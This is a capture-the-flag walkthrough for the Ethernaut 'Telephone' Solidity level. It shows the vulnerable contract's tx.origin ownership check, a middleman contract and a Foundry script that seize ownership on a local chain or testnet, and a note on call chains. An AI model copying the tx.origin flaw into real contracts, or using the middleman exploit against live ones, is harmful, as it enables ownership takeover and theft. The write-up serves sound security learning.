Level 4 - Telephone ⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}Exploit
The contract is vulnerable because the msg.sender is the address that sent the transaction to interact with the contract, but this is only the final address if the transaction involved multiple contracts.
Create a middleman contract so that
x.origin != msg.sender.
make anvil-exploit-level-4
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>make holesky-exploit-level-4
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
// ================================================================
// │ LEVEL 4 - TELEPHONE │
// ================================================================
contract TelephoneMiddleman {
function run(address _targetContractAddress) public {
ITelephone(_targetContractAddress).changeOwner(msg.sender);
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {TelephoneMiddleman} from "../src/Level4.sol";
// ================================================================
// │ LEVEL 4 - TELEPHONE │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
vm.startBroadcast();
TelephoneMiddleman telephoneMiddleman = new TelephoneMiddleman();
telephoneMiddleman.run(targetContractAddress);
vm.stopBroadcast();
}
}Submit instance... 🥳
Completion Message
Notes
In a simple call chain
A->B->C->DinsideDmsg.senderwill beCandtx.originwill beA.
Last updated